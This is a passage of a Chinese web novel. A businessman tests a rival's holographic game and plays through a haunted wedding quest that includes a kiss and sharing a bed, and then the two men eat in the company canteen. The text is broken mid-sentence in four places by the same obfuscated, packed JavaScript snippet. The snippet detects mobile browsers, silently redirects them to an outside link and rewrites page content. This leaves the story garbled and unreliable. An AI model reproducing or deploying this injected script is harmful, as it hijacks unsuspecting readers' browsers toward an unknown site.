他想了想,装作没看见那条撤回,顺着万理的话回: “生日礼物啊……那简单。送他台新的游戏机吧,顶配的那种。他前几天还在我这儿念叨,说旧手柄按键不太灵了,影响他发挥。” 消息发过去,万理那边显示“正在输入”了好一会儿,最后只回了两个字: 【谢谢。】 裴言修看着那俩字,又想起林尤墨那一顿幽怨的吐槽,忍不住摇了摇头,自言自语:“这俩活宝……” 裴言修自己平常不怎么打游戏,但林尤墨喜欢,所以他看得还算多,也基本清楚玩法。和万理这么一提,他居然也有些手痒。想起手机里好像还躺着一款很久没打开过的手游,他顺手点了进去。 匹配、开局。两局下来,裴言修的脸色越来越黑。不知道是今天运气不好,还是他确实久疏战阵,和队友几乎没有任何配合度可言,送了不知道多少个人头。林雅女士和裴照先生被队友唾沫横飞地反复问候,在天上飞了好几局。 “操!”终于,最后一波团灭,水晶爆炸的瞬间,他忍无可忍地把手机扔到了沙发另一头,屏幕朝下,眼不见为净。 胸口起伏了几下,他才烦躁地抓了抓头发,伸手把手机捞回来,准备直接卸载这糟心游戏。就在退出前的最后一秒,他瞥见公共聊天频道里,有人刷了几条消息: 【听说了吗?过两天山海镜要上了,市面上第一款真正意义上的全息游戏!】 【终于!键盘鼠标搓玻璃板的日子快到头了!】 【祈祷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274640|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在全息里别让我再碰到刚才那种菜鸡队友,不然我可能真的会忍不住,先拿刀砍队友祭天。】 全息游戏?裴言修动作一顿。 他隐约好像听林尤墨前段时间兴奋地念叨过,说是预约通道早就爆了,一机难求。当时他没在意,现在被这么一提,加上刚刚被垃圾队友气到升天的体验,心里竟也生出几分微妙的好奇和期待。 在那种近乎真实的虚拟世界里……应该不会再遇到这种隔着网线都让人火大的奇葩了吧? 他关掉手游,拇指无意识地摩挲着手机边缘。犹豫了几秒,他还是点开了网页,输入了《山海镜》官方。 预约早已截止,公测日期近在眼前,宣传片里的光影和场景构建得极其逼真,引人遐想。 目光停留在官方那一栏写的“环隆”两个字上,裴言修一愣。 裴言修看了会儿,退出来,手指在屏幕上悬空停顿片刻,然后点开了和柏停的聊天窗口。 他打了几个字,又删掉。再打,再删。 最后,只发过去一句看似随意的: “听说《山海镜》要上了?” 发完他就把手机扣在了胸口,闭眼倒在沙发上,觉得自己这举动简直莫名其妙。问这个干嘛?是环隆的项目又怎样?难不成还指望柏停给他透露内部消息? ……柏停不加倍防着他都算好的了。 几秒后,手机震动了一下。 裴言修立刻拿起来看。 柏停:【嗯。】 裴言修盯着那个“嗯”字,等了几秒,撇撇嘴,正准备把手机扔开,屏幕又亮了一下:【感兴趣?】 裴言修颇为意外地挑了挑眉,回道:【还成。】 那头没有下文了。 裴言修也没放在心上,只当柏停是随口一提。接下来的一周,工作按部就班地推进,他也恢复了往常的节奏。 中间林尤墨兴冲冲地跑来跟他炫耀,说万理不知道从哪给他搞到了台《山海镜》的公测设备,附带了一封信,核心意思是赔罪兼生日快乐。 林尤墨哭笑不得,转头就跟裴言修吐槽“至于吗”“搞不懂这货的脑回路”,对那台设备却是宝贝得跟什么似的。 裴言修一边听林尤墨在电话里大呼小叫,一边处理着手头的文件。 日子过得飞快,转眼就到了周六。 这周六由柏停安排行程,裴言修乐得轻松,把事情全权交给了他,自己几乎都快忘了这回事。直到乐影的秦总约他周六吃饭,他差点一口应下,才猛然想起周六照例是要和柏停见面的。 他于是跟秦文昊说了一声,好说歹说约了下次。 鉴于之前几次出行,他都是当天上午才通知柏停,这次也就没好意思提前问柏停安排了什么内容。不过心里多少有些好奇——以柏停的性格,该不会带他去什么峰会、酒会拍卖会吧?那可真是无聊透顶。 好在事实并非如此。柏停没带他去任何“会”,却带他来了一个更让裴言修一言难尽的地方。 15. 游戏副本(上)-拜堂 车行渐近,通体玻璃幕墙的高楼大厦在视野中不断逼近,冷调的反光映着天色,“环隆”两个大字映入眼帘。 裴言修起初只当是路过,车子已方向一转,径直驶入了地下车库的通道。 “……?”裴言修脑子里瞬间闪过无数个问号,最后只化作一个最符合常理的猜测。他扭头看向柏姓司机:“怎么?你有东西忘拿了?” 柏停不置可否。 车子在环隆大厦的地下车库平稳停驻。柏停解开安全带,语气如常:“下车。” 裴言修跟着走进直达电梯,看着柏停按下楼层按钮,终于忍不住挑眉:“这不会就是你的目的地吧?大周末的,你带我来你公司玩儿???” 柏停注视着跳动的楼层数字,侧脸淡然,只不紧不慢地应了一句:“放心,应该是比你公司好玩的。” 电梯平稳而迅速地抵达。门一开,一位身着干练职业装、戴着细框眼镜的年轻女性已静候在门外。 “柏总。”她微微颔首,随即目光转向裴言修,同样礼貌地致意,“裴先生。”她显然是柏停的助理,语速平稳清晰地汇报,“项目组已经准备就绪,按照您的要求,演示环境已调试完成。” “嗯。”柏停略一颔首,示意助理带路。 助理侧身,引导二人穿过宽阔安静的走廊。此时虽是周末,但开放办公区仍有一些员工在忙碌。他们见到柏停,纷纷停下手中的工作起身问候。 “柏总。” “柏总好。” 众人的目光在触及柏停身旁的裴言修时,都不约而同地闪过一丝不易察觉的惊讶与好奇,但良好的职业素养让他们迅速收敛了神色,只是安静地目送三人走过。 裴言修能清晰地感受到那些聚焦在自己身上的视线,带着打量与探寻。他忍不住压低声音对柏停说:“你的人抗压能力不错,老板周末突袭检查,他们居然没人手忙脚乱。” 柏停看他一眼:“中达的员工不这样?” 裴言修摊手:“那我可不知道。毕竟我不是周末还压榨人家的周扒皮。” 柏停无言,径直带着他穿过办公区。裴言修随意地四周环顾,没有半点“非礼勿视”的自觉:“所以……今天的活动就是参观环隆?柏总挺大方啊。” 他似笑非笑:“就算我们不是完全意义上的竞争对手,平时在某些领域也少不了竞争。你就这么带我进来,不怕泄露什么商业机密?” 他刚说完,柏停便在一扇挂着“幻境实验室”铭牌的门前停下了脚步。助理推开门,说道:“柏总,裴先生,《山海镜》的内测环境已经准备好了。” “山海镜”几个字一出,裴言修猛地偏头。 柏停冲她略一颔首,和裴言修一道往内走,面不改色道:“你想多了。整个环隆,你今天能接触到的只有这一个项目组而已。” 门后是一个充满科技感的环形空间,中央摆放着几台造型流畅的全息舱。几个技术人员正在调试设备,见到他们进来,纷纷停下手中的工作。 柏停示意他们继续,自己也拿了个全息手套,低头调试,“这款游戏过几个月就要公测了,让裴总提前体验一下,也是它的荣幸。” 还真是瞎猫撞上死耗子。裴言修挑了挑眉,回去能跟林尤墨吹一波了。 柏停调好手套递给他:“戴上,坐进全息舱里。” 裴言修生出几分兴致,依言戴上了那副触感特殊的感应手套。 “然后呢?怎么操作?”他转头问柏停。 柏停已经坐进他身侧的另一台全息舱内,一边进行启动操作,一边简洁地解释:“手套可以调用系统菜单。山海镜的核心玩法是挑战副本,沉浸式体验不同的剧情乃至人生。” 面前的光幕便投射出数位风格各异、栩栩如生的游戏人物形象。“选一个你看着顺眼的角色,”柏停示意道,“这决定了我们进入副本的基础身份和技能倾向。” 裴言修扫了一眼那些或侠客、或书生、或将军的虚拟形象,只觉得眼花缭乱,便随口问柏停:“你选哪个?” 柏停顿了顿,语气平和:“客随主便。既然是我带你体验,作为主人,自然要配合你。”他刻意停顿了一下,补充道,“我会选辅助类角色,确保你的游戏体验。” 裴言修闻言,也没多想,目光在那些形象上逡巡片刻,最终指向一个手持折扇、衣袂飘飘,颇有几分魏晋名士风流的公子形象:“就这个吧。”他选完的瞬间,似乎察觉到柏停极其微妙地看了自己一眼,但那目光转瞬即逝,快得让他以为是错觉。紧接着,柏停也迅速选定了一个角色。 【身份载入:连理枝】 【副本生成:锦瑟府疑云】 光影流转,场景骤然切换。裴言修发现自己正站在一处张灯结彩、古色古香的回廊下,自身装扮正是那位翩翩公子。他还来不及细看,目光就被前方不远处,那个凤冠霞帔、一身大红嫁衣的身影牢牢吸住了。 柏停就那样站在那里,平日里梳理得一丝不苟的黑发此刻被繁复的金饰珠钗挽起,露出光洁的额头和清晰的眉眼。那张惯常没什么表情的脸上,此刻被精致的妆容勾勒出几分不同往日的艳丽,唇上还点了口脂。 裴言修先是愣了一下,随即一股难以抑制的笑意直冲喉咙。他死死抿住嘴唇,肩膀控制不住地轻微抖动,费了九牛二虎之力才把几乎脱口而出的爆笑给憋了回去,整张脸都憋得有些扭曲。 手机!他现在急迫地需要手机。不能把柏停这个样子拍下来,实在是太遗憾了哈哈哈哈哈哈哈哈! 团队频道里,响起柏停那依旧听不出什么情绪,但似乎比平时更沉了几分的嗓音:“这个身份配对,是‘锦瑟府’副本特定的……情侣模式。”他顿了顿,才继续道,“我现在的角色,是待嫁的小姐。而你,是来迎亲的新郎。” 裴言修:“!!!” 他这才后知后觉地想起,刚才选择角色时,光顾着看形象顺眼,完全忽略了角色下方那行不起眼的小字标注——“配对身份:永结同心”。 柏停似乎也有些无语,“客随主便”几个字默念了n遍,还是没忍住道:“《山海镜》的辅助关系有无数种,兄弟朋友师生父子都一抓一大把。裴总偏偏精准挑中了这个。很难不让我怀疑……” “咳!”裴言修莫名心虚地干咳一声,打断了他的话。随即又后知后觉地意识到,这反应岂不是更显得欲盖弥彰?他立刻板起脸,试图找回气势,“巧合而已!谁知道你这游戏设定这么……别出心裁。” 柏停闻言,只是淡淡地瞥了他一眼,那眼神仿佛在说“最好如此”。他没再继续这个话题,转而抬了抬下巴,示意前方灯火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274641|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 通明却透着一丝诡异寂静的主厅:“主线任务更新了。” 几乎在他话音落下的同时,系统提示音在两人脑海中响起: 【主线任务:锦瑟疑云】 【任务目标:探寻宅邸怨气根源,平息执念】 【当前阶段:完成婚礼仪式,获取初步线索】 只见一个管家模样的NPC快步走来,脸上堆着热情却略显僵硬的笑容,对着裴言修躬身道:“顾公子,吉时已到,宾客们都等着呢,还请与小姐移步正厅,行拜堂之礼。” 裴言修看着身旁这位一身嫁衣、面容冷峻的“新娘”,再想到即将要进行的拜堂,嘴角不由自主地抽搐了一下。 这任务,还真是从一开始就充满了挑战。 管家NPC脸上挂着程式化的笑容,一遍遍催促:“吉时已到,请新人移步正厅——” 柏停目光扫过回廊立柱上那些过于鲜红、仿佛未干透的“囍”字,又掠过庭院中那些虽然衣着光鲜、却眼神空洞、动作略显僵硬的宾客,低声道:“这满院的人,没有一个是活的。” 裴言修被他这话说得后颈一凉,一声卧槽脱口而出,下意识地往他身边凑近了些:“你怎么知道?” “表情重复,行动轨迹固定,对非常规互动没有反馈。”柏停言简意赅。 裴言修欲言又止:“……我还以为你们这游戏的npc本来就是这个水平。” 柏停:“……” 他面无表情地转头:“先按流程走,注意观察。” 两人在管家引导下走入正厅。厅内红烛高燃,却莫名透着阴冷。主位上端坐着一对面容模糊、笑容慈祥却毫无生气的老爷夫人。 “一拜天地——”司仪高声喊道。 裴言修硬着头皮,与柏停同时躬身。起身时,他的衣袖不经意间拂过柏停的嫁衣广袖,丝绸冰凉的触感下,竟似能感受到一丝对方的体温。在这诡异氛围中,这细微的接触让裴言修指尖微麻。 “……柏停。” “说。” “……你还是活的吧?” “……” 迟迟没等到回应,裴言修喉结不自觉地滚动了一下,声音带着不易察觉的轻颤:“喂……说真的,你该不会待会儿走着走着,突然就……从人变鬼了吧?” 柏停:“……” 他像是深吸了一口气,随后道:“你怕?” “那怎么可能?”裴言修立刻挺直背脊,声音却不由自主地压低,“我、我是说电影里不都这么演么!提醒你一下,防患于未然!” 柏停意味不明地看了他一眼。下一秒,一根手指伸到裴言修面前:“抓着。” “二拜高堂——” 唱和声再次响起,裴言修没再犹豫,一把握住柏停的手指,朝老爷夫人的方向弯下腰。 “夫妻对拜——”这一次,靠得更近了些。裴言修甚至能闻到柏停身上那清冽的气息,与他此刻秾丽的妆容、华美的嫁衣形成一种惊心动魄的对比。他不由自主地屏住了呼吸。 礼成。 司仪高喊:“送入洞房——” 场景骤然切换。两人已被移至一间布置得喜气洋洋却同样透着股陈腐气息的洞房内。红纱帐,鸳鸯被,合卺酒摆在桌上。 【阶段任务更新:完成洞房仪式。】 16. 游戏副本(下)-洞房 洞……洞房??? 裴言修盯着那行字,感觉自己大脑宕机了一瞬。他甚至下意识抬手揉了揉眼睛,怀疑是不是全息影像出了错。 没等他消化完这惊人的信息,下一条提示已经毫不留情地跳了出来: 【请根据指引,完成饮合卺酒与夫妻结发仪式。】 半透明的指引光标在空气中浮现,先是不由分说地飘到了桌上一对系着红绳的合卺酒杯上。 裴言修:“……” 他僵硬地转头,看向身旁一身嫁衣的柏停。对方显然也收到了同样的提示,脸上没什么表情,只是沉默地伸出手,端起了其中一杯。 箭在弦上。裴言修咬了咬牙,硬着头皮拿起了另一杯。两人同时一饮而尽。 【饮合卺酒完成。】 【下一步:夫妻结发。】 新的光标飘向梳妆台上一把系着红绳的剪刀。 裴言修:“……这游戏是认真的?” 柏停已经走过去拿起了剪刀,转身看他,言简意赅:“过来。” 裴言修走过去,看着柏停用剪刀在他鬓边极其小心地剪下一小缕头发,动作快而稳。然后柏停将剪刀递给他,微微侧头,露出自己耳后一缕黑发。 裴言修接过剪刀,手指不小心碰到柏停冰凉的耳廓。他定了定神,学着柏停的样子,剪下对方一小缕头发。两人将发丝用红绳系在一起,放入一个锦囊。 【仪式完成。隐藏任务触发:情意相许】 【请亲吻您的伴侣,平息怨灵的执念】 一行字明晃晃地跳出来,裴言修只觉得头皮发麻。 “这什么破任务,不做了!”他深吸一口气,忍不住低骂,站起身就往门口走去。 手才碰到冰凉的门环,房门却“吱呀”一声,自己开了条缝。 一张惨白浮肿、双眼只剩空洞的女人脸,正正地、缓慢地从门楣上方倒挂下来,湿漉漉的长发几乎扫到裴言修的鼻尖。腐烂的气息扑面而来。 “我靠——!!” 裴言修头皮瞬间炸开,浑身汗毛倒竖,完全是本能反应,猛地向后弹开,同时用尽全力“砰”地一声把门狠狠摔上,背脊死死抵住门板,心脏在胸腔里擂鼓。 门板被外面的东西撞得震动不止,凄厉的哭嚎和抓挠声瞬间放大了数倍,仿佛有无数冤魂想破门而入。 “这、这怎么回事?!”裴言修惊魂未定,声音都有点变调。 柏停眉头微蹙:“任务没有完成,触发了怨灵的执念反噬。这是个情侣副本,那些怨灵对洞房花烛有极强的执念。一旦判定仪式没有进行,或者……”他停顿了半秒,似乎在斟酌用词,“……进行得不够投入,它们就会被激怒,直接进入最高级别的围攻模式。” 外面的天色暗了下来,阴风尖利地钻过窗棂缝隙,发出呜咽般的怪响,房间里仅有的几根红烛火苗疯狂跳动,光影乱晃,把一切都映得鬼影幢幢。理智上裴言修知道这全是假的,可视觉和听觉带来的冲击太过真实,他后背不受控制地窜起一股凉意。 门口传来了“咚、咚、咚”的闷响,裴言修回头一望,是那个倒挂的女鬼。她正用头一下下撞击门板。那声音沉闷又固执,伴随着指甲刮擦木板的锐响,听得人头皮发麻,牙根发酸。 恍惚间,裴言修竟真的生出一种被逼到绝境、退无可退的感觉。 他心一横,闭上眼,朝柏停的唇撞了过去。 嘴唇相碰的瞬间,触感冰凉。裴言修顾不上细品,立刻睁眼,下意识扭头去看半空中那该死的系统提示—— 【亲吻您的伴侣】几个字,依旧固执地亮着,毫无变化。 下一秒,柏停抬手按住了他的后颈,在裴言修错愕的目光中,加深了这个吻。 舌尖顶开他牙关,探进唇齿之间。裴言修整个人都僵住了,大脑一片空白,被动地张着嘴,任由柏停的舌头在他嘴里搅动。这个吻又深又湿,带着独属于柏停的凛冽气息。他能感觉到柏停的呼吸喷在自己脸上,也能听见自己心脏在胸腔里狂跳的声音。 【隐藏任务完成。】 提示终于跳了出来。 裴言修喘息着后退半步,耳根发烫,瞪着柏停:“你……” 【任务触发:洞房花烛。请与您的伴侣一起,尽情享受这个美妙的夜晚。】 新的提示十分贴心地跳了出来,打断了裴言修的未尽之语。 裴言修盯着那行字,感觉自己额角的青筋都在跳:“……这游戏还能不能行了?!”他压着声音,又惊又怒,“我要举报你们传播不健康内容!” 柏停显然也没料到这个走向,沉默了片刻才开口:“这个副本的细节和支线触发条件,我没有逐一核对。出去后会和策划组确认。” 他抬起带着感应手套的手指,眉头蹙起:“我现在强制退出,暂停副本。” “等等。”裴言修叫住他,脸色一阵青一阵白。 现在强制退出?那他刚刚做的亲吻任务算什么?闹呢!搞得跟他多没游戏精神似的。 他咬了咬牙,几乎是从牙缝里挤出话来:“装样子行不行?它们总不能进来检查吧?” 柏停动作一顿,看向他,眼神有些复杂:“理论上是可以的,但……” “那就来!别废话了。”裴言修打断他,几步走回那张铺着大红锦被的拔步床前。 柏停看他一眼,最终只意味不明地说了句:“你倒是豁的出去。”他放下手,神色莫辨地走到床前。 两人僵硬地在床边坐下。红帐垂落,隔绝出一小片令人窒息的暖昧空间,外面是越来越响的鬼哭狼嚎,里面是死一般的寂静。 “……怎么弄?”裴言修压低声音,感觉耳根烫得厉害。 柏停瞥了一眼床铺,言简意赅:“躺下,盖被。” 裴言修依言僵硬地躺到里侧,柏停在外侧躺下,拉过那床绣着鸳鸯的锦被,将两人盖住。 距离太近了。近到能感受到对方身体的温度和起伏,能听到彼此并不平稳的呼吸声。 裴言修全身僵硬,直挺挺地盯着帐顶繁复的花纹,脑海里却不受控制地反复回放刚才那个吻——唇上残留的微凉触感,舌尖交缠时的湿软,还有柏停按住他后颈时的力道和掌心滚烫的温度…… 感觉自己整个人都要烧起来了,从脸颊到耳根,再到脖子,一路滚烫。他暗暗咬牙,觉得自己真是失心疯了。 一个破游戏而已!那可是他的初吻! “不够。”柏停的声音骤然响起,打断了他的胡思乱想,“系统可能在检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274642|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测肢体接触程度。” 裴言修:“……” 他闭了闭眼,猛地一个翻身,手臂横过柏停的腰侧,将脸埋进了对方肩窝里。这个姿势几乎是把柏停半搂在怀,也是他能想到的、最大限度的接触了。 温热的体温透过薄薄的衣衫传来,鼻尖萦绕着柏停身上那股独特的清冽气息,混合着游戏中嫁衣的脂粉香和床褥的陈味,形成一种难以言喻的感觉。裴言修能感觉到自己脸颊贴着的地方,柏停的颈动脉在平稳地跳动,一下,又一下。 柏停的身体似乎也僵硬了一瞬,但很快,一只手臂环了过来,轻轻搭在了裴言修的背上,像是安抚,却将彼此的距离拉得更近。 裴言修浑身一颤,埋在对方肩窝里的脸更烫了。他能感觉到柏停的呼吸拂过自己耳廓,温热,绵长。 床帐之外,那些疯狂的撞击和嚎叫声,似乎真的慢慢减弱、平息了下去。仿佛那些不甘的怨魂,终于感知到了红帐之内“春宵暖意”,暂时得到了慰藉。 可帐内的两个人,谁都没动。 裴言修的呼吸逐渐与柏停的趋于同步,在这个诡异又亲密到极点的姿势里,时间仿佛被拉长了。他能清晰感知到柏停胸膛的起伏,肌肉的线条,甚至是隔着衣料传递过来的、越来越不容忽视的体温。 不知过了多久,或许是几分钟,或许更久,久到裴言修觉得自己要在这片死寂和温热中产生溺死过去时—— 【任务:洞房花烛,完成。】 【怨念暂时平息。】 冰冷的系统提示音,将两人骤然拉回现实。 裴言修几乎是弹射般松开了手,猛地向后撤开,拉开了距离,动作快得带起一阵风。他不敢看柏停,只盯着帐顶,耳后红得快要滴血。 后来的打怪环节对裴言修来说都跟梦游一样,直到游戏结束回到山海镜的体验室时,裴言修都还有些愣神。 心跳还未完全平复,他坐在舱里怔忡了两秒,身旁传来一道声音:“饿么?” 裴言修现在对这声音有点说不清的敏感,几乎是立刻抬头。柏停不知何时已经解开了设备,正站在他全息舱旁边,垂眸看着他。 他定了定神,压下心头那点不自在,也解开传感手套,让语气听起来尽量随意:“有点。”他顿了顿,像是解释自己刚才的愣神,“你们这游戏……沉浸感做得是挺好,场景气氛渲染得很到位。” “嗯,恐怖氛围副本的反馈数据一向不错,不过这个……”柏停顿了顿,没再往后说。 不知道是不是裴言修的错觉,他感觉柏停的目光在他嘴唇上停了两秒。 没等他细想,柏停已然转身:“带你去吃饭。” 他跟着站起身,试图找回平时互怼的节奏:“怎么,柏总要尽地主之谊?米其林?还是柏总私藏的小馆子?” “员工食堂。” 裴言修一怔,随即扯开一个笑:“行啊。”他还真有点好奇,促狭地瞥了一眼柏停的侧脸,话没过脑子便溜了出来,“我还真想看看,环隆天天喂员工吃什么,能养出柏总这样一张……嘴” 最后三个字明显打了个秃噜,柏停脚步微不可察地顿了一下,侧过头,目光在他脸上停留了半秒。 “管饱。”他收回视线,“其他不保证。” 17. 共餐 正值饭点,环隆食堂里人头攒动,宽敞明亮的空间里充满了热闹的烟火气。桌椅间聚满了三三两两的员工,谈笑声与餐盘碰撞声交织,直到有人注意到柏停的身影。 原本轻松随意的氛围像是凝固了一瞬,随即响起一片此起彼伏的“柏总”问候声。就这么一声接一声地传下去,连食堂原本地谈话声都不自觉低了几分。 不少好奇的目光在柏停和他身旁那位气质出众的陌生男士之间悄悄来回打量。 “柏总旁边那位大帅比是谁啊?总觉得有点眼熟……”一个年轻员工小声嘀咕。 “我也觉得,好像在哪里见过。”旁边的同事附和道。 第三个员工猛地放下筷子,身体前倾,声音压得更低:“我想起来了!那是中达的裴言修裴总!上个月那个新能源联合峰会,他跟柏总都上台发言了,两人当时座位隔了好几个,全程没互动,那气场……啧啧。” 这话一出,几人神色顿时变得精彩起来,交换着心照不宣又充满八卦欲的眼神。 “等等,我想起来了!前阵子闹得沸沸扬扬那个什么灵魂匹配度热搜,跟柏总一起挂在上面的,不就是这位吗?!” “我靠!我还以为是媒体乱写呢……咱们跟中达不是一直关系一般吗?怎么今天还……”说话的人目光在两人并肩走来的身影上转了一圈,意思不言而喻。 “啧啧,表面死对头,暗地里都搞到公司食堂来了……还选周末没人注意的时候?” 裴言修对旁人的目光一向敏锐,他心道,柏停一副主人的派头,实际上自己估计也不怎么来食堂吃。——不然怎么员工一个两个的都跟见了鬼似的。 他没多想,注意力很快被环隆食堂的配置所吸引。中达的食堂已是业界标杆,自助餐形式丰盛美味,常被同行称道。可环隆的食堂不仅面积更大,除了精致的自助区,还设有一排排特色小窗,供应着天南地北的风味小吃。比起传统意义上的公司食堂,更像大学食堂。打眼一望过去,色香味俱全。 裴言修目光扫过窗口上方的价目表,发现价格都十分亲民。是员工要感叹一句“报恩食堂”的程度。 柏停这么没人性的家伙居然能做出这么人性化的食堂? 裴言修挑了挑眉。 他正想着,柏停已径直走向自助区。周围的员工下意识向两侧让开,空出一条通道,柏停却神色自若地排在了队伍末尾。 裴言修不禁多看了他两眼,随即跟上前去。柏停取了两个餐盘,顺手递给他一个,自己先打了一勺清炒虾仁,见裴言修还顿在一旁没动,给他也添了一勺。 裴言修感觉手里的餐盘一沉,便听柏停侧头问他:“有忌口?” 以两人数次共餐的经历,柏停印象中裴言修在吃食上似乎并不挑剔。 裴言修低头看了一眼自己餐盘里那清清爽爽、只点缀着几颗青豆的虾仁,又扫过旁边几道同样素净的菜色,摇了摇头:“没。” 严格来说,裴言修的确没忌口,外出或者忙起来的时候什么都能吃。但真要把他伺候好,却难如上青天。 林尤墨裴思行还有林雅女士,都为这个问题吐槽过无数次。 裴二少口味偏重,清淡的不爱吃,调味重的又不希望调料味道盖过食材本身。好不容易在二者之间找到平衡点,他又要求碗里最好是不要出现葱姜蒜,乃至洋葱八角花椒——不能出现它们的本体,但需要有它们的味道。 堪比珍珠奶茶不要珍珠,柠檬水里不放柠檬。 生怕柏停再替他自作主张,他立刻补了一句,“我自己去逛逛。你吃你的,不用管我。” 柏停没反对,从口袋里掏出饭卡递过去:“卡。” 裴言修下意识接过,随即反应过来:“卡给我了,你刷什么?” 柏停看了他一眼:“刷脸。” 裴言修:“……噢。” 行吧,你是老板你最大。 他不再客气,接过饭卡,转身就奔着那几个香气最浓郁的窗口去了。转了一圈,最后停在一个挂着“湘味现炒”的档口前:“师傅,这个这个,还有这个。多放香菜,多放辣,不要蒜叶,姜丝姜末都不要。” 炒菜师傅不知是听到哪句话,古怪地看了他一眼,却什么都没说。手法利落,大火颠锅,爆香的辛辣气直往裴言修鼻子里钻。 裴言修端着餐盘回来时,柏停已经坐在靠窗的位置,慢条斯理地吃着他那盘看不见一点儿红色的菜。 裴言修把饭卡递还过去,在对面坐下。红彤彤的小炒黄牛肉与对面清清白白的虾仁豆腐形成了鲜明对比。 柏停抬眼看了看他那盘菜,又看了看他。 裴言修理直气壮:“看什么?我们口味不同,互相尊重。”说着便夹了一筷子牛肉送进嘴里,麻辣鲜香瞬间在味蕾炸开,他满足地眯了眯眼。 柏停没说什么,只是将自己手边那瓶没动过的冰镇豆奶,轻轻推到了裴言修面前。 裴言修动作一顿,有些意外地看向他。 “解辣。”柏停言简意赅。 裴言修“嘁”了一声,很是不屑:“瞧不起谁?” 筷尖一转,转向盘子里的一块浸着红油炒鸡,毫不犹豫地送入口中。下一秒,一股火山爆发般的灼痛感直冲天灵盖,呛得他死去活来。 辣辣辣辣辣辣辣辣……! 这跟刚刚的牛肉完全不是一个重量级的! “咳、咳咳……”他强忍着没直接吐出来,眼眶都泛起了生理性的泪花。手忙脚乱地抓过那瓶冰豆奶,插上吸管猛吸了好几大口。冰凉的甜意总算压下了舌尖的燎原之火,他长舒一口气,感觉自己总算活过来了。 对面传来柏停的声音:“知道为什么那个窗口没什么人排队吗?” 裴言修抬起还有些泛红的眼眶,带着几分控诉瞪向他。 柏停慢条斯理地吃了一口虾仁,咽下去后才继续道:“那个师傅是江西来的,出了名的舍得放辣。你刚刚吃的,是他的招牌。” 裴言修:“……”他现在很想把剩下的半盘辣椒扣在这人头上。 “连吃辣都要逞强,人菜瘾大。”柏停看着他泛红的眼尾和鼻尖,语气里听不出是嘲讽还是陈述。 裴言修被辣得舌尖发麻,狠狠剜了他一眼:“你一个一点儿红油不沾的,还说我?” 他低头看了看那盘依旧红得嚣张的鸡肉,不死心地又夹起一块,这次学乖了,只小心翼翼地抿了一小口,结果还是被辣得直抽气,赶紧又灌了好几口豆奶。 柏停将他这一系列动作尽收眼底,没再说什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274643|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只是将自己那份没动过的蒸蛋也往他那边推了推。 裴言修看了看救他命的豆奶,又看了看眼前嫩滑的蒸蛋。 对面的柏停神色如常。裴言修忽然觉得这家伙虽然嘴上不饶人,但……好像也没那么讨厌。 “……谢了。”他含糊道。 柏停冷嗤:“担不起。卡里还有钱,实在吃不了就去打点别的。环隆因为辣椒闹出命案,传出去也不好听。” 裴言修:“……”拳头又硬了。 最终他还是没再挑战自己的生理极限,拿着柏停的饭卡去隔壁窗口重新刷了两道浓油赤酱的苏帮菜,勉强算是把碗里的饭解决了。 一个月转瞬即逝。月底,裴言修和柏停再次来到研究所。 例行脑电波检查结束,裴言修从检查室走出。赵玥看着并肩走进来的两人,又看了看屏幕上的数据曲线,眼中闪过一丝笑意:“从数据上看,你们两人之间的联系比上个月稳定了很多,情绪上的共鸣和一致性也明显增强。看来这一个月,你们对彼此的了解确实深入了,相处得不错?” 他们简单汇报了这个月的“相处成果”。电影,篮球,游戏……赵玥越听表情越诡异,最后裴言修忍无可忍地打断:“能別笑了吗姐?瘆得慌。” 赵玥摸了摸快咧到耳朵根的嘴角,低头轻咳了一声:“抱歉。不过我还是想说,我很为你们感到高兴。” 裴言修无奈:“得了吧玥姐。大家都是为研究做贡献,您就别摆出一副媒人撮合成功相亲对象的架势了。” 赵玥:“……” 她抿唇笑了笑,随即正色,指尖轻点着屏幕上的数据图谱:“好,说正经的。数据显示你们的神经对彼此的接受度和情绪正面性都在持续增强,这是个非常好的趋势。” 